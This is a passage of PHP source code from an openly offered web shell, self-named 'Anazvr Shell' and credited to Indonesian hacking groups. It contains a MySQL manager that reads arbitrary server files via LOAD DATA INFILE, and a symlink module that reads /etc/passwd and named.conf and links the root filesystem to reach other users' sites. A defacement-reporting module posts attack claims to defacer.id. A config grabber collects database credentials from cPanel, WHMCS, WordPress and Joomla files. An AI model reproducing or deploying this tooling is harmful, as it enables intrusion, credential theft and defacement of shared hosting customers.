1261 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_x=tbldump&thistbl=1\">[<b> Dump </b>]</a> ";
1262 echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_x=insert\">[ <b>Insert</b> ]</a> ";
1263 if ($sql_tbl_x == "structure") { echo "<b>Under construction!</b>"; }
1264 if ($sql_tbl_x == "insert") {
1265if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
1266if (!empty($sql_tbl_insert_radio)) { echo "<b>Under construction!</b>"; }
1267else {
1268 echo "<br><br><b>Inserting row into table:</b><br>";
1269 if (!empty($sql_tbl_insert_q)) {
1270$sql_query = "SELECT * FROM `".$sql_tbl."`";
1271$sql_query .= " WHERE".$sql_tbl_insert_q;
1272$sql_query .= " LIMIT 1;";
1273$result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
1274$values = mysql_fetch_assoc($result);
1275mysql_free_result($result);
1276 }
1277 else {$values = array();}
1278 echo "<form method=\"POST\"><table width=\"1%\" class='tub'><tr><th><b>Field</b></th><th><b>Type</b></th><th><b>Function</b></th><th><b>Value</b></th></tr>";
1279 foreach ($tbl_struct_fields as $field) {
1280$name = $field["Field"];
1281if (empty($sql_tbl_insert_q)) {$v = "";}
1282echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
1283$i++;
1284 }
1285 echo "</table><br>";
1286 echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
1287 if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
1288 echo "<br><br><input class=\"inputzbut\" type=\"submit\" value=\"Confirm\"></form>";
1289}
1290 }
1291 if ($sql_tbl_x == "browse") {
1292$sql_tbl_ls = abs($sql_tbl_ls);
1293$sql_tbl_le = abs($sql_tbl_le);
1294echo "<hr size=\"1\" noshade>";
1295echo "<b>Page: </b>";
1296$b = 0;
1297for($i=0;$i<$numpages;$i++) {
1298 if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
1299 echo $i;
1300 if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
1301 if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
1302 else { echo " "; }
1303}
1304if ($i == 0) {echo "empty";}
1305echo "<br><br><form method=\"GET\"><input type=\"hidden\" name=\"x\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b> <input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\"> <b>To:</b> <input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\"> <input type=\"submit\" value=\"View\"></form>";
1306echo "<br><form method=\"POST\">\n";
1307echo "<table class='tub'><tr>";
1308echo "<th><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></th>";
1309for ($i=0;$i<mysql_num_fields($result);$i++) {
1310 $v = mysql_field_name($result,$i);
1311 if ($e[0] == "a") {$s = "d"; $m = "asc";}
1312 else {$s = "a"; $m = "desc";}
1313 echo "<th>";
1314 if (empty($e[0])) {$e[0] = "a";}
1315 if (@$e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
1316 else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."x=img&img=sort_".$m."\" alt=\"".$m."\"></a>";}
1317 echo "</th>";
1318}
1319echo "<th><font color=\"#00FF00\"><b>action</b></font></th>";
1320echo "</tr>";
1321while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
1322 echo "<tr>";
1323 $w = "";
1324 $i = 0;
1325 foreach ($row as $k=>$v) {
1326$name = mysql_field_name($result,$i);
1327$w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;
1328 }
1329 if (count($row) > 0) { $w = substr($w,0,strlen($w)-3); }
1330 echo "<td align='center' style='padding:0px;'><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
1331 $i = 0;
1332 foreach ($row as $k=>$v) {
1333$v = htmlspecialchars($v);
1334if ($v == "") { $v = "<font color=\"#00FF00\">NULL</font>"; }
1335echo "<td>".$v."</td>";
1336$i++;
1337 }
1338 echo "<td>";
1339 echo "<a href=\"".$sql_surl."sql_x=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\">Delete</a>";
1340 echo " | ";
1341 echo "<a href=\"".$sql_surl."sql_tbl_x=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\">Edit</a> ";
1342 echo "</td>";
1343 echo "</tr>";
1344}
1345mysql_free_result($result);
1346echo "</table><hr size=\"1\" noshade><p align=\"left\"><input type=\"checkbox\"/> <select name=\"sql_x\">";
1347echo "<option value=\"\">With selected:</option>";
1348echo "<option value=\"deleterow\">Delete</option>";
1349echo "</select> <input class=\"inputzbut\" type=\"submit\" value=\"Confirm\"></form></p>";
1350}
1351 }
1352 else {
1353$result = mysql_query("SHOW TABLE STATUS", $sql_sock);
1354if (!$result) { echo mysql_smarterror(); }
1355else {
1356echo '<form method="POST">
1357<table class="tub">
1358<tr><th><input type="checkbox" name="boxtbl_all" value="1"></th><th>Table</th><th>Rows</th><th>Engine</th><th>Created</th><th>Modified</th><th>Size</th><th>Action</th></tr>';
1359 $i = 0;
1360 $tsize = $trows = 0;
1361 while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
1362$tsize += $row["Data_length"];
1363$trows += $row["Rows"];
1364$size = view_size($row["Data_length"]);
1365echo'<tr>
1366<td align="center" style="padding:0px;"><input type="checkbox" name="boxtbl[]" value="'.$row["Name"].'"></td>
1367<td><a href="'.$sql_surl.'sql_tbl='.urlencode($row["Name"]).'"><b>'.$row["Name"].'</b></a></td>
1368<td>'.$row["Rows"].'</td><td>'.$row["Engine"].'</td><td>'.$row["Create_time"].'</td><td>'.$row["Update_time"].'</td><td>'.$size.'</td>
1369<td><a href="'.$sql_surl.'sql_x=query&sql_query='.urlencode("DELETE FROM `".$row["Name"]."`").'">Empty</a> | <a href="'.$sql_surl.'sql_x=query&sql_query='.urlencode("DROP TABLE `".$row["Name"]."`").'">Drop</a> | <a href="'.$sql_surl.'sql_tbl_x=insert&sql_tbl='.$row["Name"].'">Insert</a></td>
1370</tr>';
1371$i++;
1372 }
1373 echo "\t\t<tr>\n".
1374"\t\t<th>+</th><th>$i table(s)</th><th>$trows</th><th>$row[1]</th><th>$row[10]</th><th>$row[11]</th><th>".view_size($tsize)."</th><th></th>\n";
1375echo'</tr>
1376</table>
1377<div align="right">
1378<select class="inputz" name="sql_x">
1379<option value="">With selected:</option>
1380<option value="tbldrop">Drop</option>
1381<option value="tblempty">Empty</option>";
1382<option value="tbldump">Dump</option>";
1383<option value="tblcheck">Check table</option>";
1384<option value="tbloptimize">Optimize table</option>";
1385<option value="tblrepair">Repair table</option>";
1386<option value="tblanalyze">Analyze table</option>";
1387</select>
1388<input class="inputzbut" type="submit" value="Confirm">
1389</div>
1390</form>';
1391 mysql_free_result($result);
1392}
1393 }
1394}
1395 }
1396}
1397else {
1398$xs = array("","newdb","serverstatus","servervars","processes","getfile");
1399if (in_array($sql_x,$xs)) {
1400echo '<table class="tab">
1401<tr>
1402<td style="border:1px solid #333333;padding:3px;"><b>Create new DB:</b>
1403<form action="'.$surl.'">
1404<input type="hidden" name="x" value="sql">
1405<input type="hidden" name="sql_x" value="newdb">
1406<input type="hidden" name="sql_login" value="'.htmlspecialchars($sql_login).'">
1407<input type="hidden" name="sql_passwd" value="'.htmlspecialchars($sql_passwd).'">
1408<input type="hidden" name="sql_server" value="'.htmlspecialchars($sql_server).'">
1409<input type="hidden" name="sql_port" value="'.htmlspecialchars($sql_port).'">
1410<input class="inputz" type="text" name="sql_newdb" size="20">
1411<input class="inputzbut" type="submit" value="Create">
1412</form>
1413</td>
1414<td style="border:1px solid #333333;padding:3px;"><b>View File:</b>
1415<form action="'.$surl.'">
1416<input type="hidden" name="x" value="sql">
1417<input type="hidden" name="sql_x" value="getfile">
1418<input type="hidden" name="sql_login" value="'.htmlspecialchars($sql_login).'">
1419<input type="hidden" name="sql_passwd" value="'.htmlspecialchars($sql_passwd).'">
1420<input type="hidden" name="sql_server" value="'.htmlspecialchars($sql_server).'">
1421<input type="hidden" name="sql_port" value="'.htmlspecialchars($sql_port).'">
1422<input class="inputz" type="text" name="sql_getfile" size="30" value="'.htmlspecialchars($sql_getfile).'">
1423<input class="inputzbut" type="submit" value="Get">
1424</form>
1425</td>
1426</tr>
1427</table>';
1428}
1429if (!empty($sql_x)) {
1430 echo "<hr size=\"1\" noshade>";
1431 if ($sql_x == "newdb") {
1432echo "<b>";
1433if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
1434else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
1435 }
1436 if ($sql_x == "serverstatus") {
1437$result = mysql_query("SHOW STATUS", $sql_sock);
1438echo "<center><b>Server status variables:</b><br><br>";
1439echo "<table class='tub'><th><b>Name</b></th><th><b>Value</b></th></tr>";
1440while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
1441echo "</table></center>";
1442mysql_free_result($result);
1443 }
1444 if ($sql_x == "servervars") {
1445$result = mysql_query("SHOW VARIABLES", $sql_sock);
1446echo "<center><b>Server variables:</b><br><br>";
1447echo "<table class='tub'><th><b>Name</b></th><th><b>Value</b></th></tr>";
1448while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
1449echo "</table>";
1450mysql_free_result($result);
1451 }
1452 if ($sql_x == "processes") {
1453if (!empty($kill)) {
1454 $query = "KILL ".$kill.";";
1455 $result = mysql_query($query, $sql_sock);
1456 echo "<b>Process #".$kill." was killed.</b>";
1457}
1458$result = mysql_query("SHOW PROCESSLIST", $sql_sock);
1459echo "<center><b>Processes:</b><br><br>";
1460echo "<table class='tub'><th><b>ID</b></th><th><b>USER</b></th><th><b>HOST</b></th><th><b>DB</b></th><th><b>COMMAND</b></th><th><b>TIME</b></th><th><b>STATE</b></th><th><b>INFO</b></th><th><b>Action</b></th></tr>";
1461while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_x=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
1462echo "</table>";
1463mysql_free_result($result);
1464 }
1465 if ($sql_x == "getfile") {
1466$tmpdb = $sql_login."_tmpdb";
1467$select = mysql_select_db($tmpdb);
1468if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
1469if ($select) {
1470 $created = FALSE;
1471 mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
1472 mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
1473 $result = mysql_query("SELECT * FROM tmp_file;");
1474 if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
1475 else {
1476for ($i=0;$i<mysql_num_fields($result);$i++) { $name = mysql_field_name($result,$i); }
1477$f = "";
1478while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { $f .= join ("\r\n",$row); }
1479if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
1480else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
1481mysql_free_result($result);
1482mysql_query("DROP TABLE tmp_file;");
1483 }
1484}
1485mysql_drop_db($tmpdb);
1486 }
1487}
1488 }
1489}
1490echo '</td></tr>';
1491if ($sql_sock) {
1492 $affected = @mysql_affected_rows($sql_sock);
1493 if ((!is_numeric($affected)) or ($affected < 0)) { $affected = 0; }
1494 echo "\t<tr><th colspan=2>Affected rows: $affected</th></tr>";
1495}
1496echo '</table></center>';
1497 }
1498echo '</form>';
1499}
1500}
1501elseif($_GET['do'] == 'about') {
1502
1503 echo '<font color=white><center>Anazvr Shell<hr>Just Shell By Anazvr -> <br>Gabungan Dari Shell [ IndoXploit ]-[ Andela ]-[ Security Exploaded ]-[ HIDDENSHELL (GSH) ]<br>
1504Big Thanks To :
1505 <marquee direction=left scrollamount=4>|
1506<font color=cyan>Garuda Security Hacker</font> | PhantomGhost | IndoXploit | Java Cyber Army | My Self :D Anazvr Security | Security Cyber Art | Lead Cyber Team | JancokSec | Owl Squad | Clowns Hacktivism Team | Hacker Patah Hati | Dan semua grup hacking yang pernah saya kunjungi ^_^
1507</marquee>
1508 <br>
1509 <br>
1510Garuda Security Hacker :
1511 <marquee direction=left scrollamount=4>
1512| Yukinoshita47 | Tuan2Fay | Snooze | E7B_404 | Cr4bbyP4tty | Fazlast | DarkTerrorizt | Prof.Engkus.ST.MT | Mr Secretz | Mr.UdinDotID | Mr_Viruzer#29 | Mr.Spongebob | Sys47ID | healer | ./CalmCoder | <font color=cyan>Anazvr</font> | ShadowHeart | dr.Sobri3195 | All Member Garuda Security Hacker |</marquee>
1513<br><br>For More Script Visit <a href="http://anazvr.blogspot.co.id/">Here</a></font>';
1514
1515}
1516elseif($_GET['do'] == 'symlink') {
1517$full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
1518$d0mains = @file("/etc/named.conf");
1519##httaces
1520if($d0mains){
1521@mkdir("cox_sym",0777);
1522@chdir("cox_sym");
1523@exe("ln -s / root");
1524$file3 = 'Options Indexes FollowSymLinks
1525DirectoryIndex jancox.htm
1526AddType text/plain .php
1527AddHandler text/plain .php
1528Satisfy Any';
1529$fp3 = fopen('.htaccess','w');
1530$fw3 = fwrite($fp3,$file3);@fclose($fp3);
1531echo "
1532<table align=center border=1 style='width:60%;border-color:#333333;'>
1533<tr>
1534<td align=center><font size=2>S. No.</font></td>
1535<td align=center><font size=2>Domains</font></td>
1536<td align=center><font size=2>Users</font></td>
1537<td align=center><font size=2>Symlink</font></td>
1538</tr>";
1539$dcount = 1;
1540foreach($d0mains as $d0main){
1541if(eregi("zone",$d0main)){preg_match_all('#zone "(.*)"#', $d0main, $domains);
1542flush();
1543if(strlen(trim($domains[1][0])) > 2){
1544$user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
1545echo "<tr align=center><td><font size=2>" . $dcount . "</font></td>
1546<td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td>
1547<td>".$user['name']."</td>
1548<td><a href='$full/cox_sym/root/home/".$user['name']."/public_html' target='_blank'><font class=txt>Symlink</font></a></td></tr>";
1549flush();
1550$dcount++;}}}
1551echo "</table>";
1552}else{
1553$TEST=@file('/etc/passwd');
1554if ($TEST){
1555@mkdir("cox_sym",0777);
1556@chdir("cox_sym");
1557exe("ln -s / root");
1558$file3 = 'Options Indexes FollowSymLinks
1559DirectoryIndex jancox.htm
1560AddType text/plain .php
1561AddHandler text/plain .php
1562Satisfy Any';
1563 $fp3 = fopen('.htaccess','w');
1564 $fw3 = fwrite($fp3,$file3);
1565 @fclose($fp3);
1566 echo "
1567 <table align=center border=1><tr>
1568 <td align=center><font size=3>S. No.</font></td>
1569 <td align=center><font size=3>Users</font></td>
1570 <td align=center><font size=3>Symlink</font></td></tr>";
1571 $dcount = 1;
1572 $file = fopen("/etc/passwd", "r") or exit("Unable to open file!");
1573 while(!feof($file)){
1574 $s = fgets($file);
1575 $matches = array();
1576 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
1577 $matches = str_replace("home/","",$matches[1]);
1578 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
1579 continue;
1580 echo "<tr><td align=center><font size=2>" . $dcount . "</td>
1581 <td align=center><font class=txt>" . $matches . "</td>";
1582 echo "<td align=center><font class=txt><a href=$full/cox_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
1583 $dcount++;}fclose($file);
1584 echo "</table>";}else{if($os != "Windows"){@mkdir("cox_sym",0777);@chdir("cox_sym");@exe("ln -s / root");$file3 = '
1585 Options Indexes FollowSymLinks
1586DirectoryIndex Anazvr.htm
1587AddType text/plain .php
1588AddHandler text/plain .php
1589Satisfy Any
1590';
1591 $fp3 = fopen('.htaccess','w');
1592 $fw3 = fwrite($fp3,$file3);@fclose($fp3);
1593 echo "
1594 <div class='mybox'><h2 class='k2ll33d2'>server symlinker</h2>
1595 <table align=center border=1><tr>
1596 <td align=center><font size=3>ID</font></td>
1597 <td align=center><font size=3>Users</font></td>
1598 <td align=center><font size=3>Symlink</font></td></tr>";
1599 $temp = "";$val1 = 0;$val2 = 1000;
1600 for(;$val1 <= $val2;$val1++) {$uid = @posix_getpwuid($val1);
1601 if ($uid)$temp .= join(':',$uid)."\n";}
1602 echo '<br/>';$temp = trim($temp);$file5 =
1603 fopen("test.txt","w");
1604 fputs($file5,$temp);
1605 fclose($file5);$dcount = 1;$file =
1606 fopen("test.txt", "r") or exit("Unable to open file!");
1607 while(!feof($file)){$s = fgets($file);$matches = array();
1608 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);$matches = str_replace("home/","",$matches[1]);
1609 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
1610 continue;
1611 echo "<tr><td align=center><font size=2>" . $dcount . "</td>
1612 <td align=center><font class=txt>" . $matches . "</td>";
1613 echo "<td align=center><font class=txt><a href=$full/cox_sym/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
1614 $dcount++;}
1615 fclose($file);
1616 echo "</table></div></center>";unlink("test.txt");
1617 } else
1618 echo "<center><font size=3>Cannot create Symlink</font></center>";
1619 }
1620 }
1621}
1622elseif($_GET['do'] == 'defacerid') {
1623echo "<center><form method='post'>
1624 <u>Defacer</u>: <br>
1625 <input type='text' name='hekel' size='50' value'Anazvr'><br>
1626 <u>Team</u>: <br>
1627 <input type='text' name='tim' size='50' value='Garuda Security Hacker'><br>
1628 <u>Domains</u>: <br>
1629 <textarea style='width: 450px; height: 150px;' name='sites'></textarea><br>
1630 <input type='submit' name='go' value='Submit' style='width: 450px;'>
1631 </form>";
1632$site = explode("\r\n", $_POST['sites']);
1633$go = $_POST['go'];
1634$hekel = $_POST['hekel'];
1635$tim = $_POST['tim'];
1636if($go) {
1637foreach($site as $sites) {
1638$zh = $sites;
1639$form_url = "https://www.defacer.id/notify";
1640$data_to_post = array();
1641$data_to_post['attacker'] = "$hekel";
1642$data_to_post['team'] = "$tim";
1643$data_to_post['poc'] = 'SQL Injection';
1644$data_to_post['url'] = "$zh";
1645$curl = curl_init();
1646curl_setopt($curl,CURLOPT_URL, $form_url);
1647curl_setopt($curl,CURLOPT_POST, sizeof($data_to_post));
1648curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"); //msnbot/1.0 (+http://search.msn.com/msnbot.htm)
1649curl_setopt($curl,CURLOPT_POSTFIELDS, $data_to_post);
1650curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
1651curl_setopt($curl, CURLOPT_REFERER, 'https://defacer.id/notify.html');
1652$result = curl_exec($curl);
1653echo $result;
1654curl_close($curl);
1655echo "<br>";
1656}
1657}
1658}
1659
1660elseif($_GET['do'] == 'config') {
1661 if($_POST){
1662 $passwd = $_POST['passwd'];
1663 mkdir("cox_config", 0777);
1664 $isi_htc = "Options all\nRequire None\nSatisfy Any";
1665 $htc = fopen("cox_config/.htaccess","w");
1666 fwrite($htc, $isi_htc);
1667 preg_match_all('/(.*?):x:/', $passwd, $user_config);
1668 foreach($user_config[1] as $user_cox) {
1669 $user_config_dir = "/home/$user_cox/public_html/";
1670 if(is_readable($user_config_dir)) {
1671 $grab_config = array(
1672 "/home/$user_cox/.my.cnf" => "cpanel",
1673 "/home/$user_cox/.accesshash" => "WHM-accesshash",
1674 "/home/$user_cox/public_html/bw-configs/config.ini" => "BosWeb",
1675 "/home/$user_cox/public_html/config/koneksi.php" => "Lokomedia",
1676 "/home/$user_cox/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
1677 "/home/$user_cox/public_html/clientarea/configuration.php" => "WHMCS",
1678 "/home/$user_cox/public_html/whmcs/configuration.php" => "WHMCS",
1679 "/home/$user_cox/public_html/forum/config.php" => "phpBB",
1680 "/home/$user_cox/public_html/sites/default/settings.php" => "Drupal",
1681 "/home/$user_cox/public_html/config/settings.inc.php" => "PrestaShop",
1682 "/home/$user_cox/public_html/app/etc/local.xml" => "Magento",
1683 "/home/$user_cox/public_html/admin/config.php" => "OpenCart",
1684 "/home/$user_cox/public_html/slconfig.php" => "Sitelok",
1685 "/home/$user_cox/public_html/application/config/database.php" => "Ellislab",
1686 "/home/$user_cox/public_html/whm/configuration.php" => "WHMCS",
1687 "/home/$user_cox/public_html/whmc/WHM/configuration.ph" => "WHMC",
1688 "/home/$user_cox/public_html/central/configuration.php" => "WHM Central",
1689 "/home/$user_cox/public_html/whm/WHMCS/configuration.php" => "WHMCS",
1690 "/home/$user_cox/public_html/whm/whmcs/configuration.php" => "WHMCS",
1691 "/home/$user_cox/public_html/submitticket.php" => "WHMCS",
1692 "/home/$user_cox/public_html/configuration.php" => "Joomla",
1693 "/home/$user_cox/public_html/Joomla/configuration.php" => "JoomlaJoomla",
1694 "/home/$user_cox/public_html/joomla/configuration.php" => "JoomlaJoomla",
1695 "/home/$user_cox/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",
1696 "/home/$user_cox/public_html/Home/configuration.php" => "JoomlaHome",
1697 "/home/$user_cox/public_html/HOME/configuration.php" => "JoomlaHome",
1698 "/home/$user_cox/public_html/home/configuration.php" => "JoomlaHome",
1699 "/home/$user_cox/public_html/NEW/configuration.php" => "JoomlaNew",
1700 "/home/$user_cox/public_html/New/configuration.php" => "JoomlaNew",
1701 "/home/$user_cox/public_html/new/configuration.php" => "JoomlaNew",
1702 "/home/$user_cox/public_html/News/configuration.php" => "JoomlaNews",
1703 "/home/$user_cox/public_html/NEWS/configuration.php" => "JoomlaNews",
1704 "/home/$user_cox/public_html/news/configuration.php" => "JoomlaNews",
1705 "/home/$user_cox/public_html/Cms/configuration.php" => "JoomlaCms",
1706 "/home/$user_cox/public_html/CMS/configuration.php" => "JoomlaCms",
1707 "/home/$user_cox/public_html/cms/configuration.php" => "JoomlaCms",
1708 "/home/$user_cox/public_html/Main/configuration.php" => "JoomlaMain",
1709 "/home/$user_cox/public_html/MAIN/configuration.php" => "JoomlaMain",
1710 "/home/$user_cox/public_html/main/configuration.php" => "JoomlaMain",
1711 "/home/$user_cox/public_html/Blog/configuration.php" => "JoomlaBlog",
1712 "/home/$user_cox/public_html/BLOG/configuration.php" => "JoomlaBlog",
1713 "/home/$user_cox/public_html/blog/configuration.php" => "JoomlaBlog",
1714 "/home/$user_cox/public_html/Blogs/configuration.php" => "JoomlaBlogs",
1715 "/home/$user_cox/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
1716 "/home/$user_cox/public_html/blogs/configuration.php" => "JoomlaBlogs",
1717 "/home/$user_cox/public_html/beta/configuration.php" => "JoomlaBeta",
1718 "/home/$user_cox/public_html/Beta/configuration.php" => "JoomlaBeta",
1719 "/home/$user_cox/public_html/BETA/configuration.php" => "JoomlaBeta",
1720 "/home/$user_cox/public_html/PRESS/configuration.php" => "JoomlaPress",
1721 "/home/$user_cox/public_html/Press/configuration.php" => "JoomlaPress",
1722 "/home/$user_cox/public_html/press/configuration.php" => "JoomlaPress",
1723 "/home/$user_cox/public_html/Wp/configuration.php" => "JoomlaWp",
1724 "/home/$user_cox/public_html/wp/configuration.php" => "JoomlaWp",
1725 "/home/$user_cox/public_html/WP/configuration.php" => "JoomlaWP",
1726 "/home/$user_cox/public_html/portal/configuration.php" => "JoomlaPortal",
1727 "/home/$user_cox/public_html/PORTAL/configuration.php" => "JoomlaPortal",
1728 "/home/$user_cox/public_html/Portal/configuration.php" => "JoomlaPortal",
1729 "/home/$user_cox/public_html/wp-config.php" => "WordPress",
1730 "/home/$user_cox/public_html/wordpress/wp-config.php" => "WordPressWordpress",
1731 "/home/$user_cox/public_html/Wordpress/wp-config.php" => "WordPressWordpress",
1732 "/home/$user_cox/public_html/WORDPRESS/wp-config.php" => "WordPressWordpress",
1733 "/home/$user_cox/public_html/Home/wp-config.php" => "WordPressHome",
1734 "/home/$user_cox/public_html/HOME/wp-config.php" => "WordPressHome",
1735 "/home/$user_cox/public_html/home/wp-config.php" => "WordPressHome",
1736 "/home/$user_cox/public_html/NEW/wp-config.php" => "WordPressNew",
1737 "/home/$user_cox/public_html/New/wp-config.php" => "WordPressNew",
1738 "/home/$user_cox/public_html/new/wp-config.php" => "WordPressNew",
1739 "/home/$user_cox/public_html/News/wp-config.php" => "WordPressNews",
1740 "/home/$user_cox/public_html/NEWS/wp-config.php" => "WordPressNews",
1741 "/home/$user_cox/public_html/news/wp-config.php" => "WordPressNews",
1742 "/home/$user_cox/public_html/Cms/wp-config.php" => "WordPressCms",
1743 "/home/$user_cox/public_html/CMS/wp-config.php" => "WordPressCms",
1744 "/home/$user_cox/public_html/cms/wp-config.php" => "WordPressCms",
1745 "/home/$user_cox/public_html/Main/wp-config.php" => "WordPressMain",
1746 "/home/$user_cox/public_html/MAIN/wp-config.php" => "WordPressMain",
1747 "/home/$user_cox/public_html/main/wp-config.php" => "WordPressMain",
1748 "/home/$user_cox/public_html/Blog/wp-config.php" => "WordPressBlog",
1749 "/home/$user_cox/public_html/BLOG/wp-config.php" => "WordPressBlog",
1750 "/home/$user_cox/public_html/blog/wp-config.php" => "WordPressBlog",
1751 "/home/$user_cox/public_html/Blogs/wp-config.php" => "WordPressBlogs",
1752 "/home/$user_cox/public_html/BLOGS/wp-config.php" => "WordPressBlogs",
1753 "/home/$user_cox/public_html/blogs/wp-config.php" => "WordPressBlogs",
1754 "/home/$user_cox/public_html/beta/wp-config.php" => "WordPressBeta",
1755 "/home/$user_cox/public_html/Beta/wp-config.php" => "WordPressBeta",
1756 "/home/$user_cox/public_html/BETA/wp-config.php" => "WordPressBeta",
1757 "/home/$user_cox/public_html/PRESS/wp-config.php" => "WordPressPress",
1758 "/home/$user_cox/public_html/Press/wp-config.php" => "WordPressPress",
1759 "/home/$user_cox/public_html/press/wp-config.php" => "WordPressPress",
